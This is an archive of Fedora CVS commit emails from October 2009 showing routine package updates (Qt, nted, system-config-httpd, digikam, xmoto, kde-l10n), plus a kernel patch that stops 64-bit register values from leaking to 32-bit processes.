diff -up qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
--- qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit	2009-09-29 13:01:35.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri	2009-10-06 10:39:55.976466622 +0200
@@ -13,20 +13,6 @@ win32-* {
     LIBS += -lwinmm
 }
 
-# Disable the JIT due to numerous observed miscompilations :(
-CONFIG(release):isEqual(QT_ARCH,i386) {
-     JIT_DEFINES = ENABLE_JIT ENABLE_WREC ENABLE_JIT_OPTIMIZE_CALL ENABLE_JIT_OPTIMIZE_PROPERTY_ACCESS ENABLE_JIT_OPTIMIZE_ARITHMETIC
-     # Require gcc >= 4.1
-     linux-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_VA_LIST
-         QMAKE_CXXFLAGS += -fno-stack-protector
-         QMAKE_CFLAGS += -fno-stack-protector
-     }
-     win32-msvc* {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_REGISTER
-     }
-}
-
 win32-msvc*: INCLUDEPATH += $$PWD/os-win32
 wince* {
     INCLUDEPATH += $$PWD/os-wince


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.339
retrieving revision 1.340
diff -u -p -r1.339 -r1.340
--- qt.spec	3 Oct 2009 15:30:09 -0000	1.339
+++ qt.spec	6 Oct 2009 11:58:13 -0000	1.340
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -44,6 +44,9 @@ Patch21: qt-x11-opensource-src-4.5.2-gst
 # use system ca-bundle certs, http://bugzilla.redhat.com/521911
 Patch22: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
 Requires: ca-certificates
+# disable JavaScriptCore JIT as it crashes with SE Linux
+# http://bugzilla.redhat.com/527079
+Patch23: qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch
 
 ## upstreamable bits
 # http://bugzilla.redhat.com/485677
@@ -371,6 +374,7 @@ Qt libraries used for drawing widgets an
 %patch19 -p1 -b .servicesfile
 %patch21 -p1 -b .gst-pulsaudio
 %patch22 -p1 -b .system_ca_certificates
+%patch23 -p1 -b .javascriptcore-disable-jit
 %patch51 -p1 -b .qdoc3
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
@@ -962,6 +966,9 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
+- disable JavaScriptCore JIT, SE Linux crashes (#527079)
+
 * Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
 - cleanup patches
 - if ! phonon_internal, exclude more/all phonon headers



From ndim at fedoraproject.org  Tue Oct  6 12:10:19 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Tue,  6 Oct 2009 12:10:19 +0000 (UTC)
Subject: rpms/nted/F-11 .cvsignore, 1.13, 1.14 nted.spec, 1.19, 1.20 sources,
	1.13, 1.14
Message-ID: <20091006121019.9E8E111C02A2@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18685

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
- 1.8.6 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	28 Sep 2009 13:54:05 -0000	1.13
+++ .cvsignore	6 Oct 2009 12:10:19 -0000	1.14
@@ -1 +1 @@
-nted-1.8.1.tar.gz
+nted-1.8.6.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/nted.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- nted.spec	28 Sep 2009 13:54:05 -0000	1.19
+++ nted.spec	6 Oct 2009 12:10:19 -0000	1.20
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.1
+Version:        1.8.6
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -125,6 +125,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
+- 1.8.6 release
+
 * Sat Sep 26 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.1-1
 - update to upstream's nted-1.8.1 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	28 Sep 2009 13:54:05 -0000	1.13
+++ sources	6 Oct 2009 12:10:19 -0000	1.14
@@ -1 +1 @@
-eb3fda356ddb8c3686926d201d04adc7  nted-1.8.1.tar.gz
+07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz



From pknirsch at fedoraproject.org  Tue Oct  6 12:12:11 2009
From: pknirsch at fedoraproject.org (Phil Knirsch)
Date: Tue,  6 Oct 2009 12:12:11 +0000 (UTC)
Subject: rpms/system-config-httpd/devel .cvsignore, 1.13, 1.14 sources, 1.16,
	1.17 system-config-httpd.spec, 1.24, 1.25
Message-ID: <20091006121211.C8FEC11C029A@cvs1.fedora.phx.redhat.com>

Author: pknirsch

Update of /cvs/pkgs/rpms/system-config-httpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18987

Modified Files:
	.cvsignore sources system-config-httpd.spec 
Log Message:
- Some more translation updates
- Renamed sr at Latn.po to sr at latin.po (#426593)
- Switched to hashlib from md5




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	2 Oct 2009 14:30:41 -0000	1.13
+++ .cvsignore	6 Oct 2009 12:12:11 -0000	1.14
@@ -1 +1 @@
-system-config-httpd-1.4.5.tar.gz
+system-config-httpd-1.4.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Oct 2009 14:30:41 -0000	1.16
+++ sources	6 Oct 2009 12:12:11 -0000	1.17
@@ -1 +1 @@
-1ee2e5ea0fe4b287bbb1670ee8aec696  system-config-httpd-1.4.5.tar.gz
+29ed881700cc74faef3fb89449143080  system-config-httpd-1.4.6.tar.gz


Index: system-config-httpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-httpd/devel/system-config-httpd.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- system-config-httpd.spec	2 Oct 2009 14:30:41 -0000	1.24
+++ system-config-httpd.spec	6 Oct 2009 12:12:11 -0000	1.25
@@ -1,6 +1,6 @@
 Summary: Apache configuration tool
 Name: system-config-httpd
-Version: 1.4.5
+Version: 1.4.6
 Release: 1%{?dist}
 Epoch: 5
 URL: http://www.redhat.com/
@@ -26,9 +26,9 @@ configure a httpd server.
 %setup -q -n system-config-httpd-%{version}
 
 %build
-%define _target_platform        %{nil}   
-%configure 
-%undefine       _target_platform  
+%define _target_platform        %{nil}
+%configure
+%undefine       _target_platform
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -74,6 +74,11 @@ fi
 %dir /var/cache/alchemist/apache
 
 %changelog
+* Mon Oct 05 2009 Phil Knirsch <pknirsch at redhat.com> 1.4.6-1
+- Some more translation updates
+- Renamed sr at Latn.po to sr at latin.po (#426593)
+- Switched to hashlib from md5
+
 * Thu Oct 02 2009 Phil Knirsch <pknirsch at redhat.com> 1.4.5-1
 - Lotsa language updates
 - Several fixes from Radek Novacek for the S-c-tools cleanup project:
@@ -292,7 +297,7 @@ fi
 - Fixed missing dependancy on 4Suite in the specfile.
 
 * Thu Aug 30 2001 Trond Eivind Glomsr?d <teg at redhat.com> 0.8.1-1
-- don't install desktop files in the kontrol-panel directory, it 
+- don't install desktop files in the kontrol-panel directory, it
   now reads the standard location as well (#52719)
 - nn and no summaries in .desktop files were switched
 - Fix character set for es.po, pt.po and it.po
@@ -319,7 +324,7 @@ fi
 - Minor changes to documentation
 
 * Tue May 14 2001 Philipp Knirsch <pknirsch at redhat.com> 0.8-3/2
-- Fixed some autofoo issues in Makefile.am, specfile and autogen.sh 
+- Fixed some autofoo issues in Makefile.am, specfile and autogen.sh
 - Fixed Bugzilla bug #40004 (small typo in src/ApacheControl.py)
 
 * Tue Mar 20 2001 Philipp Knirsch <pknirsch at redhat.com> 0.8-2/1



From rdieter at fedoraproject.org  Tue Oct  6 12:13:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 12:13:57 +0000 (UTC)
Subject: rpms/digikam/F-12 digikam.spec,1.100,1.101
Message-ID: <20091006121357.407EE11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/digikam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19272/F-12

Modified Files:
	digikam.spec 
Log Message:
changelog, fix %%files



Index: digikam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/F-12/digikam.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- digikam.spec	6 Oct 2009 11:43:39 -0000	1.100
+++ digikam.spec	6 Oct 2009 12:13:56 -0000	1.101
@@ -63,7 +63,7 @@ Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: kdelibs4%{?_isa} >= %{kde4_version}
-Requires: kdeedu-marble >= %{marble_version}
+Requires: kdeedu-marble-libs%{?_isa} >= %{marble_version}
 %description libs
 %{summary}.
 
@@ -146,6 +146,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_kde4_libdir}/libdigikamcore.so.1*
 %{_kde4_libdir}/libdigikamdatabase.so.1*
+%{_kde4_libdir}/kde4/plugins/marble/ExternalDraw.so
 
 %files devel
 %defattr(-,root,root,-)
@@ -155,7 +156,9 @@ rm -rf %{buildroot}
 
 
 %changelog
-
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.7.beta5
+- digikam-1.0.0-beta5
+- tweak marble deps (again)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.6.beta4
 - fix marble dep(s)



From rdieter at fedoraproject.org  Tue Oct  6 12:13:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 12:13:57 +0000 (UTC)
Subject: rpms/digikam/devel digikam.spec,1.100,1.101
Message-ID: <20091006121357.83EAC11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/digikam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19272/devel

Modified Files:
	digikam.spec 
Log Message:
changelog, fix %%files



Index: digikam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/digikam/devel/digikam.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- digikam.spec	6 Oct 2009 11:43:38 -0000	1.100
+++ digikam.spec	6 Oct 2009 12:13:57 -0000	1.101
@@ -63,7 +63,7 @@ Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: kdelibs4%{?_isa} >= %{kde4_version}
-Requires: kdeedu-marble >= %{marble_version}
+Requires: kdeedu-marble-libs%{?_isa} >= %{marble_version}
 %description libs
 %{summary}.
 
@@ -146,6 +146,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_kde4_libdir}/libdigikamcore.so.1*
 %{_kde4_libdir}/libdigikamdatabase.so.1*
+%{_kde4_libdir}/kde4/plugins/marble/ExternalDraw.so
 
 %files devel
 %defattr(-,root,root,-)
@@ -155,7 +156,9 @@ rm -rf %{buildroot}
 
 
 %changelog
-
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.7.beta5
+- digikam-1.0.0-beta5
+- tweak marble deps (again)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.0.0-0.6.beta4
 - fix marble dep(s)



From limb at fedoraproject.org  Tue Oct  6 12:18:46 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue,  6 Oct 2009 12:18:46 +0000 (UTC)
Subject: rpms/xmoto/F-11 sources,1.16,1.17 xmoto.spec,1.52,1.53
Message-ID: <20091006121846.20AFE11C00C1@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/xmoto/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20378

Modified Files:
	sources xmoto.spec 
Log Message:
Update to current, BZ 527372



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmoto/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	15 Apr 2009 15:24:46 -0000	1.16
+++ sources	6 Oct 2009 12:18:45 -0000	1.17
@@ -1 +1 @@
-10cb822ec8c2c7e9466806633e69be1f  xmoto-0.5.1-src.tar.gz
+1e3678ebceca21d61844efb53c140227  xmoto-0.5.2-src.tar.gz


Index: xmoto.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xmoto/F-11/xmoto.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- xmoto.spec	15 Apr 2009 15:24:46 -0000	1.52
+++ xmoto.spec	6 Oct 2009 12:18:45 -0000	1.53
@@ -1,6 +1,6 @@
 Name:		xmoto
-Version:	0.5.1
-Release:	0%{?dist}
+Version:	0.5.2
+Release:	1%{?dist}
 Summary:	Challenging 2D Motocross Platform Game
 
 Group:		Amusements/Games
@@ -123,6 +123,12 @@ fi
 %{_mandir}/man6/xmoto.6.gz
 
 %changelog
+* Tue Sep 08 2009 Jon Ciesla <limb at jcomserv.net> 0.5.2-1
+- New upstream.
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.1-1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Apr 14 2009 Jon Ciesla <limb at jcomserv.net> 0.5.1-0
 - New upstream.
 - Dropped opengldepth patch, applied upstream.



From cebbert at fedoraproject.org  Tue Oct  6 12:23:54 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue,  6 Oct 2009 12:23:54 +0000 (UTC)
Subject: rpms/kernel/F-11 x86-dont-leak-64-bit-kernel-register-values.patch, 
	NONE, 1.1 TODO, 1.72, 1.73 kernel.spec, 1.1753, 1.1754
Message-ID: <20091006122354.8649D11C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21821

Modified Files:
	TODO kernel.spec 
Added Files:
	x86-dont-leak-64-bit-kernel-register-values.patch 
Log Message:
x86: Don't leak 64-bit reg contents to 32-bit tasks.

x86-dont-leak-64-bit-kernel-register-values.patch:
 ia32entry.S |   36 +++++++++++++++++++++++-------------
 1 file changed, 23 insertions(+), 13 deletions(-)

--- NEW FILE x86-dont-leak-64-bit-kernel-register-values.patch ---
From: Jan Beulich <JBeulich at novell.com>
Date: Wed, 30 Sep 2009 10:22:11 +0000 (+0100)
Subject: x86: Don't leak 64-bit kernel register values to 32-bit processes
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=24e35800cdc4350fc34e2bed37b608a9e13ab3b6

x86: Don't leak 64-bit kernel register values to 32-bit processes

While 32-bit processes can't directly access R8...R15, they can
gain access to these registers by temporarily switching themselves
into 64-bit mode.

Therefore, registers not preserved anyway by called C functions
(i.e. R8...R11) must be cleared prior to returning to user mode.

Signed-off-by: Jan Beulich <jbeulich at novell.com>
Cc: <stable at kernel.org>
LKML-Reference: <4AC34D73020000780001744A at vpn.id2.novell.com>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
index 74619c4..1733f9f 100644
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -21,8 +21,8 @@
 #define __AUDIT_ARCH_LE	   0x40000000
 
 #ifndef CONFIG_AUDITSYSCALL
-#define sysexit_audit int_ret_from_sys_call
-#define sysretl_audit int_ret_from_sys_call
+#define sysexit_audit ia32_ret_from_sys_call
+#define sysretl_audit ia32_ret_from_sys_call
 #endif
 
 #define IA32_NR_syscalls ((ia32_syscall_end - ia32_sys_call_table)/8)
@@ -39,12 +39,12 @@
 	.endm 
 
 	/* clobbers %eax */	
-	.macro  CLEAR_RREGS _r9=rax
+	.macro  CLEAR_RREGS offset=0, _r9=rax
 	xorl 	%eax,%eax
-	movq	%rax,R11(%rsp)
-	movq	%rax,R10(%rsp)
-	movq	%\_r9,R9(%rsp)
-	movq	%rax,R8(%rsp)
+	movq	%rax,\offset+R11(%rsp)
+	movq	%rax,\offset+R10(%rsp)
+	movq	%\_r9,\offset+R9(%rsp)
+	movq	%rax,\offset+R8(%rsp)
 	.endm
 
 	/*
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
 	movl	RIP-R11(%rsp),%edx		/* User %eip */
 	CFI_REGISTER rip,rdx
 	RESTORE_ARGS 1,24,1,1,1,1
+	xorq	%r8,%r8
+	xorq	%r9,%r9
+	xorq	%r10,%r10
+	xorq	%r11,%r11
 	popfq
 	CFI_ADJUST_CFA_OFFSET -8
 	/*CFI_RESTORE rflags*/
@@ -202,7 +206,7 @@ sysexit_from_sys_call:
 
 	.macro auditsys_exit exit,ebpsave=RBP
 	testl $(_TIF_ALLWORK_MASK & ~_TIF_SYSCALL_AUDIT),TI_flags(%r10)
-	jnz int_ret_from_sys_call
+	jnz ia32_ret_from_sys_call
 	TRACE_IRQS_ON
 	sti
 	movl %eax,%esi		/* second arg, syscall return value */
@@ -218,8 +222,9 @@ sysexit_from_sys_call:
 	cli
 	TRACE_IRQS_OFF
 	testl %edi,TI_flags(%r10)
-	jnz int_with_check
-	jmp \exit
+	jz \exit
+	CLEAR_RREGS -ARGOFFSET
+	jmp int_with_check
 	.endm
 
 sysenter_auditsys:
@@ -329,6 +334,9 @@ sysretl_from_sys_call:
 	CFI_REGISTER rip,rcx
 	movl EFLAGS-ARGOFFSET(%rsp),%r11d	
 	/*CFI_REGISTER rflags,r11*/
+	xorq	%r10,%r10
+	xorq	%r9,%r9
+	xorq	%r8,%r8
 	TRACE_IRQS_ON
 	movl RSP-ARGOFFSET(%rsp),%esp
 	CFI_RESTORE rsp
@@ -353,7 +361,7 @@ cstar_tracesys:
 #endif
 	xchgl %r9d,%ebp
 	SAVE_REST
-	CLEAR_RREGS r9
+	CLEAR_RREGS 0, r9
 	movq $-ENOSYS,RAX(%rsp)	/* ptrace can change this for a bad syscall */
 	movq %rsp,%rdi        /* &pt_regs -> arg1 */
 	call syscall_trace_enter
@@ -425,6 +433,8 @@ ia32_do_call:
 	call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
 ia32_sysret:
 	movq %rax,RAX-ARGOFFSET(%rsp)
+ia32_ret_from_sys_call:
+	CLEAR_RREGS -ARGOFFSET
 	jmp int_ret_from_sys_call 
 
 ia32_tracesys:			 
@@ -442,8 +452,8 @@ END(ia32_syscall)
 
 ia32_badsys:
 	movq $0,ORIG_RAX-ARGOFFSET(%rsp)
-	movq $-ENOSYS,RAX-ARGOFFSET(%rsp)
-	jmp int_ret_from_sys_call
+	movq $-ENOSYS,%rax
+	jmp ia32_sysret
 
 quiet_ni_syscall:
 	movq $-ENOSYS,%rax


Index: TODO
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/TODO,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- TODO	6 Oct 2009 07:33:21 -0000	1.72
+++ TODO	6 Oct 2009 12:23:53 -0000	1.73
@@ -94,3 +94,11 @@
 * acpi-ec-use-burst-mode-only-for-msi-notebooks.patch
 	ACPI EC fixes from 2.6.32 (#492699, #525681)
 	Should go in F-12 and 2.6.31-stable too, once they're tested.
+
+* x86-dont-leak-64-bit-kernel-register-values.patch
+	x86 security fix (info leak)
+	Should go into F-12, will be in 2.6.31.3
+
+* linux-2.6-cfq-choose-new-next-req.patch
+	Fixes severe cfq performance problem when writing CDs.
+	Should go into F-12, needs to be sent for 2.6.31.x too.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1753
retrieving revision 1.1754
diff -u -p -r1.1753 -r1.1754
--- kernel.spec	6 Oct 2009 07:33:21 -0000	1.1753
+++ kernel.spec	6 Oct 2009 12:23:53 -0000	1.1754
@@ -768,6 +768,10 @@ Patch15200: appletalk-fix-skb-leak-when-
 # fix stack randomization (F10#526882)
 Patch15300: x86-increase-min_gap-to-include-randomized-stack.patch
 
+# x86: Don't leak 64-bit reg contents to 32-bit tasks.
+Patch15400: x86-dont-leak-64-bit-kernel-register-values.patch
+
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1432,6 +1436,8 @@ ApplyPatch appletalk-fix-skb-leak-when-i
 # copy stack randomization fix from 2.6.31.2
 ApplyPatch x86-increase-min_gap-to-include-randomized-stack.patch
 
+ApplyPatch x86-dont-leak-64-bit-kernel-register-values.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2020,6 +2026,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-75
+- x86: Don't leak 64-bit reg contents to 32-bit tasks.
+
 * Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-74
 - ACPI EC bug fixes taken from kernel 2.6.32 (#492699, #525681)
 



From ltinkl at fedoraproject.org  Tue Oct  6 12:26:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:26:20 +0000 (UTC)
Subject: rpms/kde-l10n/devel .cvsignore,1.30,1.31
Message-ID: <20091006122620.54D7B11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kde-l10n/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22381/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	5 Oct 2009 16:13:58 -0000	1.30
+++ .cvsignore	6 Oct 2009 12:26:20 -0000	1.31
@@ -1,340 +1,3 @@
-kde-l10n-ar-4.2.85.tar.bz2
-kde-l10n-nds-4.2.85.tar.bz2
-kde-l10n-bg-4.2.85.tar.bz2
-kde-l10n-bn_IN-4.2.85.tar.bz2
-kde-l10n-ca-4.2.85.tar.bz2
-kde-l10n-csb-4.2.85.tar.bz2
-kde-l10n-cs-4.2.85.tar.bz2
-kde-l10n-da-4.2.85.tar.bz2
-kde-l10n-de-4.2.85.tar.bz2
-kde-l10n-el-4.2.85.tar.bz2
-kde-l10n-en_GB-4.2.85.tar.bz2
-kde-l10n-es-4.2.85.tar.bz2
-kde-l10n-et-4.2.85.tar.bz2
-kde-l10n-eu-4.2.85.tar.bz2
-kde-l10n-fi-4.2.85.tar.bz2
-kde-l10n-fr-4.2.85.tar.bz2
-kde-l10n-ga-4.2.85.tar.bz2
-kde-l10n-gl-4.2.85.tar.bz2
-kde-l10n-gu-4.2.85.tar.bz2
-kde-l10n-he-4.2.85.tar.bz2
-kde-l10n-hi-4.2.85.tar.bz2
-kde-l10n-hu-4.2.85.tar.bz2
-kde-l10n-is-4.2.85.tar.bz2
-kde-l10n-it-4.2.85.tar.bz2
-kde-l10n-ja-4.2.85.tar.bz2
-kde-l10n-kk-4.2.85.tar.bz2
-kde-l10n-km-4.2.85.tar.bz2
-kde-l10n-kn-4.2.85.tar.bz2
-kde-l10n-ko-4.2.85.tar.bz2
-kde-l10n-ku-4.2.85.tar.bz2
-kde-l10n-lt-4.2.85.tar.bz2
-kde-l10n-lv-4.2.85.tar.bz2
-kde-l10n-mai-4.2.85.tar.bz2
-kde-l10n-mk-4.2.85.tar.bz2
-kde-l10n-ml-4.2.85.tar.bz2
-kde-l10n-mr-4.2.85.tar.bz2
-kde-l10n-nb-4.2.85.tar.bz2
-kde-l10n-nl-4.2.85.tar.bz2
-kde-l10n-nn-4.2.85.tar.bz2
-kde-l10n-pa-4.2.85.tar.bz2
-kde-l10n-pl-4.2.85.tar.bz2
-kde-l10n-pt_BR-4.2.85.tar.bz2
-kde-l10n-pt-4.2.85.tar.bz2
-kde-l10n-ro-4.2.85.tar.bz2
-kde-l10n-ru-4.2.85.tar.bz2
-kde-l10n-sk-4.2.85.tar.bz2
-kde-l10n-sl-4.2.85.tar.bz2
-kde-l10n-sr-4.2.85.tar.bz2
-kde-l10n-sv-4.2.85.tar.bz2
-kde-l10n-tg-4.2.85.tar.bz2
-kde-l10n-th-4.2.85.tar.bz2
-kde-l10n-tr-4.2.85.tar.bz2
-kde-l10n-uk-4.2.85.tar.bz2
-kde-l10n-wa-4.2.85.tar.bz2
-kde-l10n-zh_CN-4.2.85.tar.bz2
-kde-l10n-zh_TW-4.2.85.tar.bz2
-kde-l10n-ar-4.2.95.tar.bz2
-kde-l10n-bg-4.2.95.tar.bz2
-kde-l10n-bn_IN-4.2.95.tar.bz2
-kde-l10n-ca-4.2.95.tar.bz2
-kde-l10n-csb-4.2.95.tar.bz2
-kde-l10n-cs-4.2.95.tar.bz2
-kde-l10n-da-4.2.95.tar.bz2
-kde-l10n-de-4.2.95.tar.bz2
-kde-l10n-el-4.2.95.tar.bz2
-kde-l10n-en_GB-4.2.95.tar.bz2
-kde-l10n-es-4.2.95.tar.bz2
-kde-l10n-et-4.2.95.tar.bz2
-kde-l10n-eu-4.2.95.tar.bz2
-kde-l10n-fi-4.2.95.tar.bz2
-kde-l10n-fr-4.2.95.tar.bz2
-kde-l10n-ga-4.2.95.tar.bz2
-kde-l10n-gl-4.2.95.tar.bz2
-kde-l10n-gu-4.2.95.tar.bz2
-kde-l10n-he-4.2.95.tar.bz2
-kde-l10n-hi-4.2.95.tar.bz2
-kde-l10n-hu-4.2.95.tar.bz2
-kde-l10n-is-4.2.95.tar.bz2
-kde-l10n-it-4.2.95.tar.bz2
-kde-l10n-ja-4.2.95.tar.bz2
-kde-l10n-kk-4.2.95.tar.bz2
-kde-l10n-km-4.2.95.tar.bz2
-kde-l10n-kn-4.2.95.tar.bz2
-kde-l10n-ko-4.2.95.tar.bz2
-kde-l10n-ku-4.2.95.tar.bz2
-kde-l10n-lt-4.2.95.tar.bz2
-kde-l10n-lv-4.2.95.tar.bz2
-kde-l10n-mai-4.2.95.tar.bz2
-kde-l10n-mk-4.2.95.tar.bz2
-kde-l10n-ml-4.2.95.tar.bz2
-kde-l10n-mr-4.2.95.tar.bz2
-kde-l10n-nb-4.2.95.tar.bz2
-kde-l10n-nds-4.2.95.tar.bz2
-kde-l10n-nl-4.2.95.tar.bz2
-kde-l10n-nn-4.2.95.tar.bz2
-kde-l10n-pa-4.2.95.tar.bz2
-kde-l10n-pl-4.2.95.tar.bz2
-kde-l10n-pt_BR-4.2.95.tar.bz2
-kde-l10n-pt-4.2.95.tar.bz2
-kde-l10n-ro-4.2.95.tar.bz2
-kde-l10n-ru-4.2.95.tar.bz2
-kde-l10n-sk-4.2.95.tar.bz2
-kde-l10n-sl-4.2.95.tar.bz2
-kde-l10n-sr-4.2.95.tar.bz2
-kde-l10n-sv-4.2.95.tar.bz2
-kde-l10n-tg-4.2.95.tar.bz2
-kde-l10n-th-4.2.95.tar.bz2
-kde-l10n-tr-4.2.95.tar.bz2
-kde-l10n-uk-4.2.95.tar.bz2
-kde-l10n-wa-4.2.95.tar.bz2
-kde-l10n-zh_CN-4.2.95.tar.bz2
-kde-l10n-zh_TW-4.2.95.tar.bz2
-kde-l10n-ar-4.2.96.tar.bz2
-kde-l10n-bg-4.2.96.tar.bz2
-kde-l10n-bn_IN-4.2.96.tar.bz2
-kde-l10n-ca-4.2.96.tar.bz2
-kde-l10n-csb-4.2.96.tar.bz2
-kde-l10n-cs-4.2.96.tar.bz2
-kde-l10n-da-4.2.96.tar.bz2
-kde-l10n-de-4.2.96.tar.bz2
-kde-l10n-el-4.2.96.tar.bz2
-kde-l10n-en_GB-4.2.96.tar.bz2
-kde-l10n-es-4.2.96.tar.bz2
